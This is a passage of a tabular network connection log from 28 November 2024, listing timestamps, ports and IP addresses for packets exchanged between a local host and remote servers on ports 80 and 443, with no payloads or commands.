Nov 28, 2024 06:48:37.023788929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.024370909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.024424076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.024436951 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.024461031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.024502993 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.024668932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.024712086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.025239944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.025290966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.025302887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.025310993 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.025330067 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.025353909 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.025437117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.025475025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.026082993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.026144028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.026145935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.026156902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.026185036 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.026196003 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.026276112 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.026360035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.026998997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.027060032 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.027070045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.027082920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.027117014 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.027139902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.056930065 CET	49830	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:37.104512930 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.104573011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.104573965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.104597092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.104619980 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.104645967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.104743004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.104827881 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.104954004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.105012894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.105043888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.105056047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.105087996 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.105117083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.105170965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.105261087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.105846882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.105890036 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.105901957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.105945110 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.105962038 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.106017113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.106064081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.106673002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.106736898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.106740952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.106774092 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.141922951 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.141982079 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.142014980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.142026901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.142077923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.142157078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.142205954 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.142357111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.142405033 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.142488956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.142501116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.142569065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.142613888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.142762899 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.143289089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.143342972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.143354893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.143419027 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.143455982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.143517971 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.144083023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.144104004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.144114971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.144149065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.144172907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.144362926 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.144418955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.144875050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.144932032 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.144939899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.144980907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.145062923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.145075083 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.145108938 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.145128012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.145736933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.145791054 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.145811081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.145822048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.145864010 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.145884037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.145941019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.145998955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.146595001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.146651983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.146660089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.146671057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.146701097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.146790028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.146833897 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.147456884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.147514105 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.147527933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.147540092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.147563934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.147574902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.147655964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.147696018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.148307085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.148350954 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.148382902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.148399115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.148421049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.148437023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.148554087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.148597002 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.149162054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.149216890 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.149231911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.149243116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.149276018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.149384022 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.149430037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.150022984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.150072098 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.150105000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.150116920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.150142908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.150156975 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.150254011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.150702000 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.150872946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.150913954 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.150990009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.151001930 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.151036978 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.151098967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.151412964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.151756048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.151833057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.151844025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.151878119 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.151962042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.152004004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.152625084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.152684927 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.152689934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.152704954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.152733088 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.152745008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.152816057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.153034925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.153470039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.153526068 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.153569937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.153582096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.153616905 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.153652906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.153696060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.221985102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.222059011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.222069979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.222197056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.222227097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.222244978 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.222449064 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.222502947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.222513914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.222527981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.222543001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.222939014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.222991943 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.223017931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.223030090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.223064899 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.223145008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.223192930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.223815918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.223872900 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.223877907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.223891020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.223916054 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.223959923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.224024057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.224081039 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.224668980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.224726915 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.224755049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.224766970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.224792004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.224812031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.224890947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.224944115 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.225526094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.225610018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.225644112 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.225655079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.225692034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.225728035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.225822926 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.226532936 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.226597071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.226613045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.226624012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.226659060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.226747036 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.226800919 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.227252007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.227308989 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.227336884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.227348089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.227385998 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.227458954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.227505922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.228137970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.228183031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.228183985 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.228236914 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.228252888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.228305101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.299487114 CET	443	49825	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.299562931 CET	443	49825	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.299644947 CET	49825	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.299840927 CET	49825	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.299854040 CET	443	49825	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.299870014 CET	49825	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.299875975 CET	443	49825	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.302911997 CET	49832	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.302946091 CET	443	49832	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.303055048 CET	49832	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.303231955 CET	49832	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.303244114 CET	443	49832	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.305814981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.305881977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.305891991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.305892944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.305922985 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.305936098 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.306005955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.306123018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.306261063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.306301117 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.306338072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.306355000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.306391001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.306471109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.306543112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.307127953 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.307194948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.307195902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.307209015 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.307239056 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.307271957 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.307310104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.307354927 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.308032036 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.308082104 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.308087111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.308124065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.332402945 CET	443	49824	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:37.332420111 CET	443	49824	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:37.332479954 CET	49824	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:37.332494020 CET	443	49824	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:37.333539009 CET	443	49824	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:37.333703041 CET	49824	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:37.333713055 CET	443	49824	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:37.333729029 CET	49824	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:37.333756924 CET	49824	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:37.343118906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.343173027 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.343188047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.343200922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.343241930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.343266010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.343307972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.343480110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.343578100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.343590975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.343631029 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.343698025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.343744040 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.344347954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.344415903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.344433069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.344444990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.344485044 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.344561100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.344636917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.345228910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.345274925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.345304966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.345316887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.345355988 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.345453024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.345508099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.346121073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.346172094 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.346203089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.346214056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.346244097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.346259117 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.346321106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.346374035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.346936941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.346988916 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.347008944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.347019911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.347054958 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.347141981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.347230911 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.347790003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.347840071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.347881079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.347893000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.347927094 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.347974062 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.347997904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.348037004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.348711014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.348756075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.348767042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.348798037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.348855019 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.348890066 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.348929882 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.349517107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.349566936 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.349597931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.349610090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.349642038 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.349716902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.349770069 CET	49750	80	192.168.2.5	185.215.113.206
